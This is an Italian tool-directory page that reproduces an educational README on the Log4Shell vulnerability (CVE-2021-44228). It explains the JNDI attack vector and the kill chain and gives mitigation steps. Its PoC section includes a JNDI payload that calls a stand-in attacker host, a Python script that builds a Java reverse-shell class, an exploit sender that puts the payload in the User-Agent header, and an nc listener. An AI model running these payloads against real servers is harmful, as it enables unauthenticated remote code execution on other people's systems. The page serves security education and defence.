Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-44228 — Analisi educativa di CVE-2021-44228 (Log4Shell) con script PoC, analisi del vettore d'attacco e linee guida per la mitigazione per comprendere e testare la vulnerabilità critica RCE in Apache Log4j. | Kitploit
Strumenti/GitHubGitHub/kaleth4/cve-2021-44228
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubkaleth4/cve-2021-44228

CVE-2021-44228

Analisi educativa di CVE-2021-44228 (Log4Shell) con script PoC, analisi del vettore d'attacco e linee guida per la mitigazione per comprendere e testare la vulnerabilità critica RCE in Apache Log4j.

Vedi Repository
3 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

🛡️ CVE-2021-44228: Analisi di Log4Shell - La Vulnerabilità che ha Rivoluzionato la Sicurezza Java

Impatto Critico (CVSS 10.0) | Scoperta nel 2021, questa falla in Apache Log4j permette l'esecuzione remota di codice (RCE) e colpisce milioni di sistemi globali. Ancora oggi, è un promemoria chiave per la cybersecurity!

Severity: Critical
Affected: Apache Log4j 2.x
Discovered: 2021


🔍 Cos'è Log4Shell?

CVE-2021-44228, conosciuta come Log4Shell, è una vulnerabilità critica di Esecuzione Remota di Codice (RCE) nella libreria di logging Apache Log4j 2. Questa falla permette ad attaccanti malintenzionati di eseguire codice arbitrario su server vulnerabili semplicemente inviando una stringa di testo appositamente costruita che l'applicazione registra.

  • Perché è così pericolosa? Log4j è onnipresente nelle applicazioni Java, inclusi servizi cloud, app web e software aziendale. Il suo sfruttamento non richiede autenticazione e può diffondersi facilmente attraverso input utente come header HTTP, form o chat.
  • Scoperta da: Chen Zhaojun di Alibaba Cloud Security (novembre 2021). Divulgata pubblicamente il 9 dicembre 2021, scatenando allerta globali da CISA, NCSC e altri.
  • Impatto globale: Ha colpito centinaia di milioni di dispositivi. Aziende come Minecraft, Twitter e Cisco sono state colpite. Sono stati osservati attacchi massivi: >100 al minuto al picco.

Log4Shell non è sola; ha portato a CVE-2021-45046 (RCE/DoS), CVE-2021-45105 (DoS) e CVE-2021-4104 (RCE in Log4j 1.2).


💀 Vettore d'Attacco e Funzionamento

Il nucleo del problema è la gestione non sicura di JNDI (Java Naming and Directory Interface) in Log4j, che risolve lookup remoti senza sanitizzazione.

Esempio di Payload Base

root@kitploit:~
${jndi:ldap://atacante.com:1389/Exploit}

Come funziona:

  1. L'attaccante inietta il payload in un messaggio registrato (es. User-Agent in HTTP).
  2. Log4j rileva ${...} e attiva un lookup JNDI.
  3. Il server vulnerabile si connette al server LDAP/RMI/DNS dell'attaccante.
  4. Viene scaricata ed eseguita una classe Java maliziosa (es. shell inversa).

Protocolli sfruttabili: LDAP, RMI, DNS, IIOP, ecc. Ciò abilita minacce come:

  • Coinmining: Furto di risorse per minare criptovalute.
  • Ransomware: Cifratura dei dati (es. Khonsari, Night Sky).
  • DoS/DDoS: Sovraccarico dei sistemi (es. tramite botnet Mirai).
  • Movimento laterale: Strumenti come Cobalt Strike per escalation.

Catena di Infezione (Kill Chain):

  1. Riconoscimento: Scansione di porte e header per rilevare Log4j.
  2. Iniezione: Invio del payload in input non sanificati.
  3. Risoluzione: JNDI contatta il server attaccante.
  4. Esecuzione: Il codice malizioso viene caricato ed eseguito (es. download di malware come Kinsing).
  5. Persistenza: Esfiltrazione di credenziali (/etc/passwd, /etc/shadow) o installazione di backdoor.

📈 Dettagli Tecnici

Statistiche di Impatto:

  • 90% degli ambienti cloud esposti inizialmente.

  • Sfruttata da gruppi statali (Cina, Corea del Nord) e cybercriminali.
  • Patch iniziale: Log4j 2.15.0 (dicembre 2021), ma incompleta; versione sicura: 2.17.1+.

🚀 Prova di Concetto (PoC) Educativa

⚠️ Avvertenza: Questo contenuto è esclusivamente a scopo educativo e per test autorizzati. Non usarlo su sistemi senza permesso esplicito. Sfruttare vulnerabilità senza autorizzazione è illegale (es. viola leggi come CFAA negli USA). Esegui sempre pentesting etico.

Basato su repository pubblici come kozmer/log4j-shell-poc, ecco una panoramica semplificata di un PoC in ambienti controllati (es. Docker/VM locale).

Passaggi Generali per Simulare (Ambiente Vulnerabile)

  1. Clona il Repo: git clone https://github.com/kozmer/log4j-shell-poc.git && cd log4j-shell-poc/
  2. Costruisci Docker: docker build -t log4j-vuln . && docker run --network host -p 8080:8080 log4j-vuln
  3. Installa Java Vulnerabile (es. JDK 8u202): Scarica da mirror affidabili, estrai e configura il percorso (es. /usr/bin/jdk1.8.0_202).
  4. Modifica Script PoC (poc.py): Regola i path di Java e gli IP. Esempio snippet corretto (versione semplificata):
root@kitploit:~
#!/usr/bin/env python3
import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler

CUR_FOLDER = Path(__file__).parent.resolve()

def generate_payload(userip: str, lport: int) -> None:
    program = f"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {{
    public Exploit() throws Exception {{
        String host="{userip}";
        int port={lport};
        String cmd="/bin/sh";
        Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s = new Socket(host, port);
        // ... (código de shell inversa simplificado)
    }}
}}
"""
    p = CUR_FOLDER / "Exploit.java"
    try:
        p.write_text(program)
        subprocess.run([f"{CUR_FOLDER}/jdk1.8.0_202/bin/javac", str(p)])
        print(Fore.GREEN + '[+] Clase Exploit generada exitosamente')
    except Exception as e:
        print(Fore.RED + f'[-] Error: {e}')

# ... (funciones para LDAP server y web server similares al original)

def main():
    init(autoreset=True)
    print(Fore.BLUE + "[!] PoC Educativa para CVE-2021-44228 - ¡Úsala solo en labs!")
    # Argumentos: --userip localhost --webport 8000 --lport 9001
    # Lanza LDAP, web server y genera payload

if __name__ == "__main__":
    main()
  1. Esegui: python3 poc.py --userip 127.0.0.1 --webport 8000 --lport 9001
  2. Listener (Netcat): nc -lvnp 9001 - Monitora la shell inversa.
  3. Inietta Payload: Nell'app vulnerabile (http://localhost:8080), usa ${jndi:ldap://127.0.0.1:1389/a} in un campo di login/ricerca.
  4. Verifica: Connessione in Netcat; i log nel terminale mostrano la risoluzione JNDI.

PoC Semplice in Python (Listener + Exploit): Per demo rapide, usa questo duo di script (esegui prima il listener).

listener.py:

root@kitploit:~
import socket
import threading

def start_listener(ip, port):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((ip, port))
    server.listen(1)
    print(f"[*] Listener en {ip}:{port}...")
    conn, addr = server.accept()
    print(f"[+] Conexión de {addr}")
    data = conn.recv(4096)
    print(data.decode('utf-8', errors='ignore'))
    conn.close()

if __name__ == "__main__":
    threading.Thread(target=start_listener, args=("0.0.0.0", 1389)).start()
    input("Presiona Enter para detener...\n")  # Mantiene vivo

exploit.py:

root@kitploit:~
import requests
import argparse

def send_exploit(target, lhost, lport):
    payload = f"${{jndi:ldap://{lhost}:{lport}/Exploit}}"
    headers = {'User-Agent': payload}
    try:
        r = requests.get(target, headers=headers, timeout=10)
        print(f"[+] Enviado a {target} | Status: {r.status_code}")
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target", required=True)
    parser.add_argument("-l", "--lhost", required=True)
    parser.add_argument("-p", "--lport", type=int, default=1389)
    args = parser.parse_args()
    send_exploit(args.target, args.lhost, args.lport)

Esecuzione: python3 listener.py & python3 exploit.py -t "http://target:8080" -l "127.0.0.1"

Note: Richiede Marshalsec per LDAP simulato. Prova solo in laboratori isolati.


🛡️ Mitigazione e Patch

Agisci subito! Log4Shell è evitabile con aggiornamenti e configurazioni.

1. Aggiornamento Raccomandato (Priorità Alta)

  • Passa a Log4j 2.17.1 o superiore (disabilita JNDI per impostazione predefinita).
  • Scarica: Apache Log4j Releases.
  • Verifica le dipendenze indirette con strumenti come mvn dependency:tree o Snyk.

2. Soluzioni Rapide (Temporanee)

  • JVM Flag: -Dlog4j2.formatMsgNoLookups=true
  • Entorno: LOG4J_FORMAT_MSG_NO_LOOKUPS=true
  • Config Log4j: In log4j2.xml, aggiungi <Configuration xmlns:log4j="..."> <property name="log4j2.formatMsgNoLookups" value="true"/></Configuration>

3. Rimozione Manuale

root@kitploit:~
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  • Rimuove le classi JNDI dai JAR.

4. Misure Aggiuntive

  • WAF/IPS: Blocca i payload ${jndi:*} (es. regole in ModSecurity o Cloudflare).
  • Scansione: Usa strumenti come Nuclei o Nessus per rilevare versioni vulnerabili.
  • Patching Virtuale: Implementa nei firewall per bloccare lookup remoti.
  • Monitoraggio: Aggiorna antivirus/EDR (es. regole Seqrite IPS per Log4Shell).

Per CVE Derivate:

  • CVE-2021-45046: Aggiorna a 2.16.0+ e disabilita i message lookup.
  • CVE-2021-45105: Evita lookup ricorsivi in configurazioni non predefinite.
  • CVE-2021-4104: Non usare JMSAppender con JNDI in Log4j 1.2.

📚 Risorse Aggiuntive

  • Ufficiali:
    • NVD - CVE-2021-44228
    • Apache Log4j Security Bulletin
  • Guide:
    • Microsoft Defender: Gestione di Log4Shell
    • Tenable: FAQ su Log4Shell
    • Trend Micro: Impatto e Mitigazione
  • PoC Educativi: GitHub - Log4j Shell PoC (con disclaimer legale).
  • Analisi Avanzata: Seqrite: Sfruttamento Indiscriminato

Questo README.md è per scopi educativi e di sensibilizzazione sulla cybersecurity. Non promuove attività illegali. Se sei un professionista della sicurezza, valuta il tuo ambiente con strumenti come OWASP Dependency-Check. Mantieni i tuoi sistemi aggiornati per un mondo più sicuro! 🔒

Ultimo aggiornamento: Basato su dati fino al 2023. Verifica le fonti ufficiali per le novità.

Scarica lo strumento
CaratteristicaDettaglio
Punteggio CVSS v3.110.0 (CRITICO) 🔥 - Massima gravità possibile.
Versioni AffetteLog4j 2.0-beta9 a 2.14.1 (incluse derivazioni fino a 2.16.0 per sub-CVE).
Causa RadiceSostituzione di messaggi JNDI senza validazione; lookup remoti abilitati.
VettoriRemoto, non autenticato; colpisce Java 8+ in app web/cloud.
Prodotti ColpitiApache Struts, Solr, Druid, Elasticsearch, Dubbo, VMware vCenter, e altri.
SfruttamentoFacile: PoC pubblici su GitHub; non necessita privilegi.